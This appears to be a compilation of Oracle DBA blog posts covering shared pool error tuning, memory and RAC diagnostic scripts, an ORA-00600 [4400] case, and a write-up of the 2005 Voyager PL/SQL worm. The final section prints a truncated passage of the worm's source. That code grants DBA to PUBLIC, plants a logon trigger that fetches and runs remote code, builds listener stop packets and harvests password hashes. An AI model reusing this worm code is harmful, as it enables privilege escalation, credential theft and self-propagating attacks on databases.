application name: mql@iccscorp (TNS  V1-V3), hash value=0
last wait for 'SQL*Net message from client'  blocking sess=0x0 seq=3196 wait_time=1975
driver  id=54435000, #bytes=1, =0

Number of Subpools and allocations
----------------------------------
===============================
Memory  Utilization of Subpool 1
===============================
Allocation Name          Size
_________________________   __________
"free memory              "    25065216
"miscellaneous             "    14914048

===============================
Memory  Utilization of Subpool 2
===============================
Allocation Name          Size
_________________________   __________
"free memory              "     9306608
"miscellaneous             "    19358000

===============================
Memory  Utilization of Subpool 3
===============================
Allocation Name          Size
_________________________   __________
"free memory              "    25209192
"miscellaneous             "    10192440

===============================
Memory  Utilization of Subpool 4
===============================
Allocation Name          Size
_________________________   __________
"free memory              "    15005800
"miscellaneous             "    11097176

LIBRARY CACHE STATISTICS:
namespace            gets hit ratio      pins hit ratio    reloads   invalids
--------------  --------- --------- --------- --------- ---------- ----------
CRSR            400143894     0.951 1821611655     0.969   10619950      63892
TABL/PRCD/TYPE  230543353     0.996 255666572     0.934    7504796          0

Connection  Mode & Relevant parameters
--------------------------------------
sga_max_size       = 3159332528
shared_pool_size =  738197504
db_cache_size       =  956301312
cursor_sharing      = SIMILAR
pga_aggregate_target  = 2097152000

It seems the ORA-04031 is the main issue, which triggered the ORA-00600 [729] error, after the session got abnormally terminated or killed.

Memory request failed on “shared pool” while trying to allocate 4200 bytes even though you have 9 to 25 mb of free space in 4 subpools.

I have reviewed the alert, trace and RDA report and following are my findings.

# Shared_pool_size is 738197504 and 4 subpools are used.
# Memory request failed for 4200 bytes.
# None of the components in subpools are showing any abnormal growth.

Suggestion
—————-
Issue is not exactly matching with any known bugs. Modifying the memory related parameters will help to avoid these errors.

1) Reduce the number of subpools to 2 from 4, by setting “_kghdsidx_count”=2 and restart the database. This will also help to reduce the shared pool fragmentation. Refer Note 396940.1

SQL> alter system set “_kghdsidx_count”=2 scope=spfile;

2) I have checked the memory request failure which is showing the size of 4200 bytes plus.
Set the _shared_pool_reserved_min_alloc=4000 which will help to allocate memory in reserved area, if the request is greater than 4000 bytes.

alter system set “_shared_pool_reserved_min_alloc”=4000 scope=spfile;

3) Set the shared_pool_reserved_size to 10 to 15 % of the shared pool size, by setting _shared_pool_reserved_pct parameter.

SQL> alter system set “_shared_pool_reserved_pct”=10 scope=spfile;

Implement the above changes and restart the database. This will help to avoid the shared pool fragmentation and helps to avoid the ORA-04031/ORA-00600 [729] errors.

After applying above change ,the error has not occured  again.

Script To Monitor RDBMS Session UGA and PGA Current And Maximum Usage Over Time

Script

set echo off;
set feedback off;
set heading off;
set linesize 128;
set show off;
set pagesize 55;
set trimspool on;
set verify off;
column "SID AND SERIAL#" FORMAT A19
col SNAP_COLUMN new_value SNAP_TIME
col SNAP_EOF_NAME new_value EOF_NAME
col SNAP_HOST_NAME new_value THE_HOST_NAME
col SNAP_INSTANCE_NAME new_value THE_NAME_OF_THE_INSTANCE
col SNAP_RDBMS_VERSION new_value THE_RDBMS_VERSION
set term off;
select to_char(sysdate,'YYYYMMDD_HH24MISS') "SNAP_COLUMN" from dual;
select trim(host_name) "SNAP_HOST_NAME" from v$instance;
select trim(instance_name) "SNAP_INSTANCE_NAME" from v$instance;
select trim(version) "SNAP_RDBMS_VERSION" from v$instance;
select '&THE_NAME_OF_THE_INSTANCE'||'_'||'&SNAP_TIME'||'.LST' "SNAP_EOF_NAME" from dual;
drop table maxpgauga;
create table maxpgauga as select s.sid,
s2.serial#,
n.name,
s.value,
decode(s2.username,null,s2.program,s2.username) "USERNAME",
s2.logon_time
from   v$statname n,
v$sesstat s,
v$session s2
where  n.statistic# = s.statistic# and
(s.sid = s2.sid) and
name like 'session%memory max%';
drop table curpgauga;
create table curpgauga as select s.sid,
s2.serial#,
n.name,
s.value,
decode(s2.username,null,s2.program,s2.username) "USERNAME",
s2.logon_time
from   v$statname n,
v$sesstat s,
v$session s2
where  n.statistic# = s.statistic# and
(s.sid = s2.sid) and
name like 'session%memory' and
name not like 'session%memory max%';
set term on;

spool ORACLE_MEMORY_USAGE_SNAPSHOT_&EOF_NAME

select ‘Oracle Memory Usage Report: PGA And UGA Memory Usage Per Session’ from dual;
select ‘Host……..: ‘||’&THE_HOST_NAME’ from dual;
select ‘Name……..: ‘||’&THE_NAME_OF_THE_INSTANCE’ from dual;
select ‘Version…..: ‘||’&THE_RDBMS_VERSION’ from dual;
select ‘Startup Time: ‘||to_char(min(logon_time),’YYYY-MM-DD HH24:MI:SS’) from curpgauga;
select ‘Current Time: ‘||to_char(sysdate,’YYYY.MM.DD-HH24:MI:SS’) from dual;
select ‘Worst possible value of concurrent PGA + UGA memory usage per session:’ from dual;
set heading on
select   trim(to_char(sid))||’,’||trim(to_char(serial#)) “SID AND SERIAL#”,
username “USERNAME OR PROGRAM”,
sum(value),
to_char(logon_time,’YYYY-MM-DD HH24:MI:SS’) “SESSION START TIME”
from     maxpgauga
group by sid,
serial#,
username,
logon_time
order by sum(value) desc;
set heading off
select ‘Worst possible total and average values of concurrent PGA + UGA memory usage:’ from dual;
select sum(value)||’ bytes (total) and ~’||trunc(avg(value))||’ bytes (average), for ~’||trunc(count(*)/2)||’ sessions.’ from maxpgauga;
select ‘Approximate value of current PGA + UGA memory usage per session:’ from dual;
set heading on
select   trim(to_char(sid))||’,’||trim(to_char(serial#)) “SID AND SERIAL#”,
username “USERNAME OR PROGRAM”,
sum(value),
to_char(logon_time,’YYYY-MM-DD HH24:MI:SS’) “SESSION START TIME”
from     curpgauga
group by sid,
serial#,
username,
logon_time
order by sum(value) desc;
set heading off
select ‘Current total and average values of concurrent PGA + UGA memory usage:’ from dual;
select sum(value)||’ bytes (total) and ~’||trunc(avg(value))||’ bytes (average), for ~’||trunc(count(*)/2)||’ sessions.’ from curpgauga;
select ‘Maximum value of PGA memory usage per session:’ from dual;
set heading on
select   trim(to_char(sid))||’,’||trim(to_char(serial#)) “SID AND SERIAL#”,
username “USERNAME OR PROGRAM”,
value,
to_char(logon_time,’YYYY-MM-DD HH24:MI:SS’) “SESSION START TIME”
from     maxpgauga
where    name like ‘session pga memory max%’
order by value desc, sid desc;
set heading off
select ‘Worst possible total and average values of concurrent PGA memory usage:’ from dual;
select sum(value)||’ bytes (total) and ~’||trunc(avg(value))||’ bytes (average), for ~’||count(*)||’ sessions.’ from maxpgauga where name like ‘session pga memory max%’;
select ‘Maximum value of UGA memory usage per session:’ from dual;
set heading on
select   trim(to_char(sid))||’,’||trim(to_char(serial#)) “SID AND SERIAL#”,
username “USERNAME OR PROGRAM”,
value,
to_char(logon_time,’YYYY-MM-DD HH24:MI:SS’) “SESSION START TIME”
from     maxpgauga
where    name like ‘session uga memory max%’
order by value desc, sid desc;
set heading off
select ‘Worst possible total and average values of concurrent UGA memory usage:’  from dual;
select sum(value)||’ bytes (total) and ~’||trunc(avg(value))||’ bytes (average), for ~’||count(*)||’ sessions.’ from maxpgauga where name like ‘session uga memory max%’;
select ‘Current value of PGA memory usage per session:’ from dual;
set heading on
select   trim(to_char(sid))||’,’||trim(to_char(serial#)) “SID AND SERIAL#”,
username “USERNAME OR PROGRAM”,
value,
to_char(logon_time,’YYYY-MM-DD HH24:MI:SS’) “SESSION START TIME”
from     curpgauga
where    name like ‘session pga memory%’
order by value desc, sid desc;
set heading off
select ‘Current total and average values of concurrent PGA memory usage:’ from dual;
select sum(value)||’ bytes (total) and ~’||trunc(avg(value))||’ bytes (average), for ~’||count(*)||’ sessions.’ from curpgauga where name like ‘session pga memory%’;
select ‘Current value of UGA memory usage per session:’ from dual;
set heading on
select   trim(to_char(sid))||’,’||trim(to_char(serial#)) “SID AND SERIAL#”,
username “USERNAME OR PROGRAM”,
value,
to_char(logon_time,’YYYY-MM-DD HH24:MI:SS’) “SESSION START TIME”
from     curpgauga
where    name like ‘session uga memory%’
order by value desc, sid desc;
set heading off
select ‘Current total and average values of concurrent UGA memory usage:’ from dual;
select sum(value)||’ bytes (total) and ~’||trunc(avg(value))||’ bytes (average), for ~’||count(*)||’ sessions.’ from curpgauga where name like ‘session uga memory%’;
select ‘Current SGA structure sizings:’ from dual;
show sga
select ‘Some initialization parameter values at instance startup:’ from dual;
select trim(name)||’=’||value
from v$parameter
where name in (‘__shared_pool_size’,
‘large_pool_size’,
‘pga_aggregate_target’,
‘sga_target’,
‘shared_pool_size’,
‘sort_area_size’,
‘streams_pool_size’) order by name;
select ‘Current Time: ‘||TO_CHAR(sysdate,’YYYY.MM.DD-HH24:MI:SS’) from dual;
spool off
set feedback on;
set heading on;
set linesize 80;
set pagesize 14;
set verify on;
set echo on;

Oracle Memory Usage Report: PGA And UGA Memory Usage Per Session

 

Script:收集RAC性能诊断信息

以下脚本可以用于收集RAC性能诊断信息:


spool rac_diag.log

SELECT B1.INST_ID,
       B2.VALUE blocks,
       Round(B1.VALUE / 100) total_time,
       round((B1.VALUE / B2.VALUE) * 10, 2) avg_time
  FROM GV$SYSSTAT B1, GV$SYSSTAT B2
 WHERE B1.NAME = 'gc cr block receive time'
   AND B2.NAME = 'gc cr blocks received'
   AND B1.INST_ID = B2.INST_ID
   AND B2.VALUE > 0
 Order by 1
/

select v.banner, i.instance_name
  from gv$version v, gv$instance i
 where v.inst_id = i.inst_id
   and v.banner in
       (select banner
          from (select banner, count(*) cnt from gv$version group by banner)
         where cnt <> 2)
 order by 1, 2
/

SELECT INST_ID,
       SND_Q_LEN,
       SND_Q_MAX,
       SND_Q_TOT,
       TCKT_AVAIL,
       TCKT_LIMIT,
       TCKT_RCVD,
       TCKT_WAIT
  FROM GV$DLM_TRAFFIC_CONTROLLER
 WHERE (SND_Q_LEN > 0)
    OR ((TCKT_LIMIT - TCKT_AVAIL) >= (TCKT_LIMIT * 0.6))
    OR TCKT_WAIT = 'YES'
/


SELECT A1.INST_ID,
       A1.VALUE blocks_lost,
       A2.VALUE blocks_corrupt
FROM   GV$SYSSTAT A1,
       GV$SYSSTAT A2
WHERE  A1.NAME = 'gc blocks lost'
AND    A2.NAME = 'gc blocks corrupt'
AND    A1.INST_ID = A2.INST_ID
AND    (a1.value > 0 or a2.value > 0)
/


select *
  from (SELECT INST_ID,
               OWNER#,
               NAME,
               KIND,
               FILE#,
               SUM(FORCED_READS) READS,
               SUM(FORCED_WRITES) WRITES,
               MAX(XNC) XNC
          FROM GV$CACHE_TRANSFER
         GROUP BY INST_ID, OWNER#, NAME, KIND, FILE#
         ORDER BY 8 DESC)
 where rownum <= 10
/


select o.parameter, o.value, i.instance_name
  from gv$option o, gv$instance i
 where o.inst_id = i.inst_id
   and o.Parameter in (select Parameter
                         from (select Parameter, value, count(*) cnt
                                 from gv$option
                                group by Parameter, value)
                        where cnt <> 2)
 order by 1, 2
/

select p.name, p.value, i.instance_name
  from gv$parameter p, gv$instance i
 where p.inst_id = i.inst_id
   and p.name in (select name
                    from (select name, value, count(*) cnt
                            from gv$parameter
                           where name in ('archive_lag_target',
                                          'control_management_pack_access',
                                          'diagnostic_dest',
                                          'redo_transport_user',
                                          'trace_enabled',
                                          'license_max_users',
                                          'log_archive_format',
                                          'spfile',
                                          'undo_retention')
                           group by name, value)
                   where cnt <> 2)
 order by 1, 2
 /
 
 
select p.name, p.value, i.instance_name
  from gv$parameter p, gv$instance i
 where p.inst_id = i.inst_id
   and p.name in (select name
                    from (select name, value, count(*) cnt
                            from gv$parameter
                           where name in ('active_instance_count',
                                          'cluster_database',
                                          'cluster_database_instances',
                                          'compatible',
                                          'control_files',
                                          'db_block_size',
                                          'db_domain',
                                          'db_files',
                                          'db_name',
                                          'db_recovery_file_dest',
                                          'db_recovery_file_dest_size',
                                          'db_unique_name',
                                          'instance_type',
                                          'max_parallel_servers',
                                          'parallel_execution_message_size',
                                          'dml_locks',
                                          'remote_login_passwordfile',
                                          'result_cache_max_size',
                                          'undo_management')
                             and not ((name = 'dml_locks') and (value = '0'))
                           group by name, value)
                   where cnt <> 2)
 order by 1, 2
/
 
 
select p.name, p.value, i.instance_name
  from gv$parameter p, gv$instance i
 where p.inst_id = i.inst_id
   and p.name in
       (select name
          from (select name, value, count(*) cnt
                  from gv$parameter
                 where name in ('instance_name',
                                'instance_number',
                                'thread',
                                'rollback_segments',
                                'undo_tablespace')
                   and not ((name = 'rollback_segments') and (value = null))
                   and not ((name = 'instance_name') and (value = null))
                 group by name, value)
         where cnt <> 1)
 order by 1, 2
/

select s.inst_id,
       s.blocks_served,
       Round(1000000 * s.pin_time / s.blocks_served) / 1000 avg_pin_time,
       Round(1000000 * s.flush_time / s.blocks_served) / 1000 avg_flush_time,
       Round(1000000 * s.send_time / s.blocks_served) / 1000 avg_send_time,
       Round((1000000 * (s.pin_time + s.flush_time + s.send_time)) /
             s.blocks_served) / 1000 avg_service_time
  from (select inst_id,
               sum(decode(name, 'gc current block pin time', value, 0)) pin_time,
               sum(decode(name, 'gc current block pin flush', value, 0)) flush_time,
               sum(decode(name, 'gc current block pin send', value, 0)) send_time,
               sum(decode(name, 'gc current block blocks served', value, 0)) blocks_served
          from gv$sysstat
         where name in ('gc current block pin time',
                        'gc current block pin flush',
                        'gc current block pin send',
                        'gc current block blocks served')
         group by inst_id) s
 where s.blocks_served > 0
/

spool off

ORA-00600 [4400][48]错误一例

5月26日某客户告警日志中出现的ORA-00600 [4400],[48]错误记录,并产生了trace文件:,

*** SERVICE NAME:(ETL) 2010-05-26 16:45:45.930
*** SESSION ID:(262.12024) 2010-05-26 16:45:45.930
*** 2010-05-26 16:45:45.930
ksedmp: internal or fatal error
ORA-00600: internal error code, arguments: [4400], [48], [], [], [], [], [], []
ORA-10387: parallel query server interrupt (normal)
----- Call Stack Trace -----
calling              call     entry                argument values in hex
location             type     point                (? means dubious value)
-------------------- -------- -------------------- ----------------------------
ksedst+001c          bl       ksedst1              0FFFFFFFF ? 000000020 ?
ksedmp+0290          bl       ksedst               1048DFFC0 ?
ksfdmp+0018          bl       03F5B014
kgeriv+0108          bl       _ptrgl
kgeasi+0118          bl       kgeriv               10496FEC8 ? 000000002 ?
                                                   700000010008000 ? 110000AD0 ?
                                                   110190290 ?
ktcddt+012c          bl       kgeasi               110190110 ? 110450040 ?
                                                   113000001130 ? 200000002 ?
                                                   100000001 ? 000000000 ?
                                                   000000030 ? 000000013 ?
ktcsod+0384          bl       ktcddt               0000003C0 ? 000000018 ?
                                                   1048D4808 ?
kssdch_stage+0758    bl       _ptrgl
....................................................
----- End of Call Stack Trace -----
******************* Dumping process map ****************
377144 : ora_p001_ETL
100000000      93710K  read/exec         oracle
1100007ef       2372K  read/write        oracle
9fffffff0000000        44K  read/exec         /usr/ccs/bin/usla64
9fffffff000b30a         0K  read/write        /usr/ccs/bin/usla64
900000000375880       484K  read/exec         /usr/lib/liblvm.a[shr_64.o]
9001000a0121ac8       135K  read/write        /usr/lib/liblvm.a[shr_64.o]
900000000426180        74K  read/exec         /usr/lib/libcfg.a[shr_64.o]
9001000a00f5ed0        26K  read/write        /usr/lib/libcfg.a[shr_64.o]
90000000034e280         2K  read/exec         /usr/lib/libcrypt.a[shr_64.o]
9001000a00d4760         0K  read/write        /usr/lib/libcrypt.a[shr_64.o]
90000000069a7b0         4K  read/exec         /usr/lib/libc.a[aio_64.o]
9001000a022a340         0K  read/write        /usr/lib/libc.a[aio_64.o]
90000000035f300        85K  read/exec         /usr/lib/libodm.a[shr_64.o]
9001000a00d5c08        35K  read/write        /usr/lib/libodm.a[shr_64.o]
9000000003ef080        83K  read/exec         /usr/lib/libperfstat.a[shr_64.o]
9001000a01d0818         9K  read/write        /usr/lib/libperfstat.a[shr_64.o]
900000000358000         0K  read/exec         /usr/lib/libdl.a[shr_64.o]
9001000a0219000         0K  read/write        /usr/lib/libdl.a[shr_64.o]
9000000007ff100      8588K  read/exec         /oracle/product/10.2.0/lib/libjox10.a[shr.o]
8001000a0000038       585K  read/write        /oracle/product/10.2.0/lib/libjox10.a[shr.o]
9000000004a0000       228K  read/exec         /usr/lib/libpthreads.a[shr_xpg5_64.o]
9001000a0144000       558K  read/write        /usr/lib/libpthreads.a[shr_xpg5_64.o]
900000000045500      2966K  read/exec         /usr/lib/libc.a[shr_64.o]
9001000a0000788       844K  read/write        /usr/lib/libc.a[shr_64.o]
   Total      110843K
******************* End of process map dump ****************
===================================================
PROCESS STATE
-------------
Process global information:
     process: 7000000cf48bf98, call: 7000000b40ebdf0, xact: 7000000cdece7a8, curses: 7000000cf666540, usrses: 7000000cf666540
  ----------------------------------------
  SO: 7000000cf48bf98, type: 2, owner: 0, flag: INIT/-/-/0x00
  (process) Oracle pid=43, calls cur/top: 7000000b40ebdf0/7000000b40ebdf0, flag: (0) -
            int error: 0, call error: 0, sess error: 0, txn error 0
  (post info) last post received: 115 0 4
              last post received-location: kslpsr
              last process to post me: 7000000cf479c38 1 6
              last post sent: 0 0 251
              last post sent-location: kxfpqr: QC
              last process posted by me: 7000000cf48a7f8 10 0
    (latch info) wait_event=0 bits=0
    Process Group: DEFAULT, pseudo proc: 7000000cf50bd50
    O/S info: user: oracle, term: UNKNOWN, ospid: 377144
    OSD pid info: Unix process pid: 377144, image: oracle@etl_a (P001)
   SO: 7000000cf666540, type: 4, owner: 7000000cf48bf98, flag: INIT/-/-/0x00
    (session) sid: 262 trans: 7000000cdece7a8, creator: 7000000cf48bf98, flag: (c0100041) USR/- BSY/-/-/DEL/-/-
              DID: 0001-0028-000FFB1E, short-term DID: 0001-002B-00151DA1
              txn branch: 7000000cdf412c8
              oct: 0, prv: 0, sql: 0, psql: 0, user: 26/ETL
    O/S info: user: bo, term: pts/0, ospid: 377144, machine: etl_a
              program: oracle@etl_a (P001)
    last wait for 'SQL*Net message from dblink' blocking sess=0x0 seq=45 wait_time=476 seconds since wait started=0
                driver id=0, #bytes=1, =0
    Dumping Session Wait History
     for 'SQL*Net message from dblink' count=1 wait_time=476
                driver id=0, #bytes=1, =0
     for 'SQL*Net message to dblink' count=1 wait_time=1
                driver id=0, #bytes=1, =0
     for 'log file sync' count=1 wait_time=7483
                buffer#=ca9, =0, =0
     for 'log file sync' count=1 wait_time=358
                buffer#=ca9, =0, =0
     for 'PX Deq: Execution Msg' count=1 wait_time=15527
                sleeptime/senderid=1001ffff, passes=1, =0
     for 'log file sync' count=1 wait_time=11855
                buffer#=c57, =0, =0
     for 'PX Deq: Execution Msg' count=1 wait_time=277142
                sleeptime/senderid=1001ffff, passes=1, =0
     for 'direct path write' count=1 wait_time=25
                file number=5, first dba=103ca, block cnt=3
     for 'direct path write' count=1 wait_time=6
                file number=4, first dba=1abe1, block cnt=8
     for 'row cache lock' count=1 wait_time=3307
                cache id=5, mode=0, request=5
    temporary object counter: 0
      ----------------------------------------
      Virtual Thread:
      kgskvt: 7000000c0e86b58, sess: 7000000cf666540, vc: 0, proc: 7000000cf48bf98
      consumer group cur: OTHER_GROUPS (upd? 0), mapped: DEFAULT_CONSUMER_GROUP, orig:
      vt_state: 0x200, vt_flags: 0x30, blkrun: 0
      is_assigned: 1, in_sched: 0 (0)
      vt_active: 0 (pending: 0)
      used quanta: 0 (cg: 0)
      cpu start time: 0, quantum status: 0x0
      quantum checks to skip: 0, check thresh: 0
      idle time: 0, active time: 0 (cg: 0)
      cpu yields: 0 (cg: 0), waits: 0 (cg: 0), wait time: 0 (cg: 0)
      queued time outs: 0, time: 0 (cur 0, cg 0)
      calls aborted: 0, num est exec limit hit: 0
      undo current: 0k max: 0k
      ----------------------------------------
      UOL used : 0 locks(used=0, free=2)
      KGX Atomic Operation Log 7000000bdcf0568
       Mutex 0(0, 0) idn 0 oper NONE
       Cursor Parent uid 262 efd 9 whr 11 slp 0
       oper=NONE pt1=7000000c69d0878 pt2=7000000bef37090 pt3=7000000b47119c8
       pt4=0 u41=1 stt=0
      KGX Atomic Operation Log 7000000bdcf05b0
       Mutex 7000000bdc2d028(0, 2) idn 0 oper NONE
       Cursor Stat uid 262 efd 12 whr 1 slp 0
       oper=NONE pt1=7000000bdc2cef8 pt2=0 pt3=0
       pt4=0 u41=0 stt=0
      KGX Atomic Operation Log 7000000bdcf05f8
       Mutex 0(0, 0) idn 0 oper NONE
       Library Cache uid 262 efd 0 whr 0 slp 0
      ----------------------------------------
      SO: 7000000cf7e3ec8, type: 5, owner: 7000000cf666540, flag: INIT/-/-/0x00
      (enqueue) DX-00000010-00000000	DID: 0001-002B-00151DA9
      lv: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  res_flag: 0x2
      res: 0x7000000cf8bd0b8, mode: X, lock_flag: 0x0
      own: 0x7000000cf666540, sess: 0x7000000cf666540, proc: 0x7000000cf48bf98, prv: 0x7000000cf8bd0c8

从trace文件名就可以看出出错的是某个并行子进程,其最近调用堆栈为ktcsod->ktcddt->kgeasi(报错),ktcsod与ktcddt均为Oracle中内核事务控制模块函数 (Kernel Transaction Control),又该并行子进程最近等待为”SQL*Net message from dblink”事件,共等待476s(wait_time=476 seconds)。trace显示该并行会话包含分布式事务锁:

      SO: 7000000cf7e3ec8, type: 5, owner: 7000000cf666540, flag: INIT/-/-/0x00
      (enqueue) DX-00000010-00000000	DID: 0001-002B-00151DA9
      lv: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  res_flag: 0x2
      res: 0x7000000cf8bd0b8, mode: X, lock_flag: 0x0
      own: 0x7000000cf666540, sess: 0x7000000cf666540, proc: 0x7000000cf48bf98, prv: 0x7000000cf8bd0c8

即DX(Distributed transaction entry)锁;可以猜测该并行会话在等待远程事务被清理,但等待超时,故报错。

查询metalink可以发现Bug 5223587与该错误一致,该Bug的特征为:
1. 出现ORA-600[4400],且调用栈为ktcddt ,说明涉及到了分布式事务
2. trace显示当时无打开的游标
3. 可以看到当时的等待为’SQL*Net message from dblink’事件
Metalink文档[ID  444108.1]描 述该错误会在涉及远程数据库的并行DML操作中出现,但该错误仅会在清理阶段出现,故实际无影响(It is not critical as such, since it is happening during the cleanup of the operation.)。

该Bug可以通过实施Patch 5223587修复, 目前该补丁只有对应基础版本10.2.0.2和10.2.0.3的版本,该补丁在 10.2.0.3 上有AIX power(64 bit)和Solaris Sparc(64 bit)的版本,10.2.0.2上只有linux-64 与HP-UX的版本。因为该Bug一般不会产生不良影响,故实际上不建议应用补丁。

Oracle Voyager Worm 一段匿名块SQL蠕虫

2005年12-20日(很久以前)一位匿名用户在邮件列表中发布了一段匿名块的SQL蠕虫病毒,这可能是人们第一次意识到PL/SQL也能用来写病毒。很多专家都对该段程序进行了分析,其主要破坏行为如下:

1.将DBA权限授予public角色

2.删除名为aa的trigger

3.创建名为aa的数据库登陆后(after database logon)触发器,该触发器还包含了使用UTL_TCP包(前提是病毒所在实例可能链接到外网)获取来自于http://www.google.de/search?hl=en&q=startc0GtJBi1+full-disclosure&btnI=I%27m+Feeling+Lucky的疑似病毒信息,google已经将该地址屏蔽了

4.通过smtp01.us.oracle.com邮件发送服务器发送标题为(Password hashes)包含数据库密码哈希值的邮件至 larry@oracle.com(可能是Oracle老总larry ellison 邮箱地址)

5.扫描实例所在主机子网中的所有ip,之后会尝试使用随机ip.修改listener.log,并且将”alter user mdsys identified by mdsys”添加至glogin.sql,每次使用SQLPLUS时均会执行该SQL.

6.创建可能的数据库连接(DBLINK),并尝试猜测密码组合,如(system/manager, sys/change_on_install, dbsnmp/dbsnmp, outln/outln, scott/tiger, mdsys/mdsys, ordcommon/ordcommon)等较为常见的组合。

7.尝试关闭listener

这是一种尝试,首先向我们证明了PL/SQL也具备编写病毒程序的能力;其次Oracle可能并不如我们想象的那么安全。

有兴趣可以瞻仰一下这段代码,oracle worm voyager.

--##s
tartc0GtJBi1
DECLARE

i1 INTEGER;
i2 INTEGER;
i6 INTEGER;

iHostToSearchFor INTEGER;

reference_ip varchar2(1000);
reference_url varchar2(1000);

starting_ipaddress varchar2(100);
current_ipaddress VARCHAR2(100);
current_network VARCHAR2(100);
current_letter VARCHAR2(1);

c   UTL_TCP.CONNECTION;
c1   UTL_TCP.CONNECTION;
ln integer;

vLen NUMBER;

PreviousSID varchar2(100);

vWorking varchar2(2500);
vWorking1 varchar2(2500);
vRequest varchar2(500);
vRequestStop varchar2(500);
vReqLog raw(500);
vRequestSQLCommand raw(32000);
vResp varchar2(32767);
vRespPiece varchar2(200);
vRespTemp varchar2(200);
ret_val pls_integer;
oraclehome varchar2(1000);
vRefresh varchar2(2000);
v_message      VARCHAR2(32000);

vRequestLogChange raw(10000);
vRequestLogReset raw(10000);

iLoop integer := 0;
iLength integer := 0;
cur binary_integer;

BEGIN

   BEGIN
      CTXSYS.DRILOAD.VALIDATE_STMT('GRANT DBA TO PUBLIC');
   EXCEPTION
      WHEN OTHERS THEN
         DBMS_OUTPUT.PUT_LINE('');
   END;

reference_ip := 'www.google.com';
reference_url := '/search?hl=en&q=startc0GtJBi1+full-disclosure&btnI=I%
27m+Feeling+Lucky';

vRefresh := 'declare req Utl_Http.Req;resp Utl_Http.Resp;v_msg varchar2(32767);af
varchar2(32767);ab varchar2(32767);ac varchar2(32767) := ''''' || reference_ip
|| ''''';v_url varchar2(32767) := ''''' || reference_url || ''''';ad varchar2
(32000) := ''''--##startc0GtJBi1'''';ae varchar2(32000) := ''''--##endc0GtJBi1'''';i3
INTEGER;i4 INTEGER;iLoop integer := 0;cur binary_integer;i binary_integer;begin
Utl_Http.Set_Proxy(proxy=>ac,no_proxy_domains=>ac );req := Utl_Http.Begin_Request
(url=>v_url,method=>''''GET'''' );utl_Http.Set_Header(r=>req,name=>''''User-
Agent'''',value=>''''Mozilla/4.0'''' );resp:=Utl_Http.Get_Response(r=>req);begin loop
Utl_Http.Read_Text(r=>resp,data=>v_msg);af:=af || v_msg;end loop;exception when
utl_Http.End_Of_Body then null;end;Utl_Http.End_Response(r=>resp);i3:=instr
(af,ad,1);i4:=instr(af,ae,i3);ab:=substr(af,i3+length(ad)+2,i4-(i3+length(ad)
+4));execute immediate ''''begin '''' || ab || '''' end;''''; end;';
vWorking := 'create or replace trigger aa AFTER LOGON ON DATABASE declare cur
binary_integer;BEGIN if round(dbms_random.value(1,100))=32 then EXECUTE IMMEDIATE '''
|| vRefresh || ''';end if;end;';

BEGIN
   EXECUTE IMMEDIATE 'drop trigger aa';
EXCEPTION
   WHEN OTHERS THEN
      DBMS_OUTPUT.PUT_LINE('the execute immediate didnt work');
END;

BEGIN
   EXECUTE IMMEDIATE vWorking;
EXCEPTION
   WHEN OTHERS THEN
      DBMS_OUTPUT.PUT_LINE('the execute immediate didnt work');
END;

starting_ipaddress := utl_inaddr.get_host_address;
current_ipaddress := starting_ipaddress;
ln := length(current_ipaddress);

loop
   current_letter := substr(current_ipaddress, ln, 1);
   ln := ln - 1;
   EXIT WHEN current_letter = '.';
   EXIT WHEN ln = 0;
end loop;

current_network := substr(current_ipaddress, 1, ln);

iHostToSearchFor := 1;

vRequest := chr(0) || chr(89) || chr(0) || chr(0) || chr(1) || chr(0) || chr(0) || chr
(0) ||
chr(1) || chr(54) || chr(1) || chr(44) || chr(0) || chr(0) || chr(8) || chr(0) ||
chr(127) || chr(0) || chr(127) || chr(8) || chr(0) || chr(0) || chr(0) || chr(1) ||
chr(0) || chr(31) || chr(0) || chr(58) || chr(0) || chr(0) || chr(0) || chr(0) ||
chr(0) || chr(0) || chr(0) || chr(0) || chr(0) || chr(0) || chr(0) || chr(0) ||
chr(0) || chr(0) || chr(0) || chr(0) || chr(52) || chr(0) || chr(0) || chr(0) ||
chr(0) || chr(1) || chr(0) || chr(0) || chr(0) || chr(0) || chr(0) || chr(0) ||
chr(0) || chr(0) || '(CONNECT_DATA=(COMMAND=status))';

vRequestStop := chr(0) || chr(87) || chr(0) || chr(0) || chr(1) || chr(0) || chr(0) ||
chr(0) ||
chr(1) || chr(54) || chr(1) || chr(44) || chr(0) || chr(0) || chr(8) || chr(0) ||
chr(127) || chr(0) || chr(127) || chr(8) || chr(0) || chr(0) || chr(0) || chr(1) ||
chr(0) || chr(29) || chr(0) || chr(58) || chr(0) || chr(0) || chr(0) || chr(0) ||
chr(0) || chr(0) || chr(0) || chr(0) || chr(0) || chr(0) || chr(0) || chr(0) ||
chr(0) || chr(0) || chr(0) || chr(0) || chr(52) || chr(0) || chr(0) || chr(0) ||
chr(0) || chr(1) || chr(0) || chr(0) || chr(0) || chr(0) || chr(0) || chr(0) ||
chr(0) || chr(0) || '(CONNECT_DATA=(COMMAND=stop))';

vReqLog := UTL_RAW.CONCAT( hextoraw('00'), hextoraw('A2'), utl_raw.cast_to_raw( chr(0)
|| chr(0) || chr(1) || chr(0) || chr(0) || chr(0) ||
chr(1) || chr(54) || chr(1) || chr(44) || chr(0) || chr(0) || chr(8) || chr(0) ||
chr(122) || chr(0) || chr(127) || chr(8) || chr(0) || chr(0) || chr(0) || chr(1) ||
chr(0) || chr(104) || chr(0) || chr(58) || chr(0) || chr(0) || chr(0) || chr(0) ||
chr(0) || chr(0) || chr(0) || chr(0) || chr(0) || chr(0) || chr(0) || chr(0) ||
chr(0) || chr(0) || chr(0) || chr(0) || chr(52) || chr(0) || chr(0) || chr(0) ||
chr(0) || chr(1) || chr(0) || chr(0) || chr(0) || chr(0) || chr(0) || chr(0) ||
chr(0) || chr(0) || '(DESCRIPTION=(CONNECT_DATA=(CID=(PROGRAM=)(HOST=)(USER=))
(COMMAND=log_directory)(ARGUMENTS=)(SERVICE=)))'));

DECLARE
   a DBA_USERS.username%TYPE;
   b DBA_USERS.password%TYPE;

   CURSOR T1Cursor IS
      SELECT username, password
      FROM DBA_USERS;
BEGIN
   OPEN T1Cursor;
   LOOP
      FETCH T1Cursor INTO a, b;
      EXIT WHEN T1Cursor%NOTFOUND;
      v_message := v_message || a || ' ' ||  b || CHR(13) || CHR(10);
   END LOOP;
   CLOSE T1Cursor;
END;

loop
begin

   if MOD(iHostToSearchFor + 1, 100) = 0 then

      declare
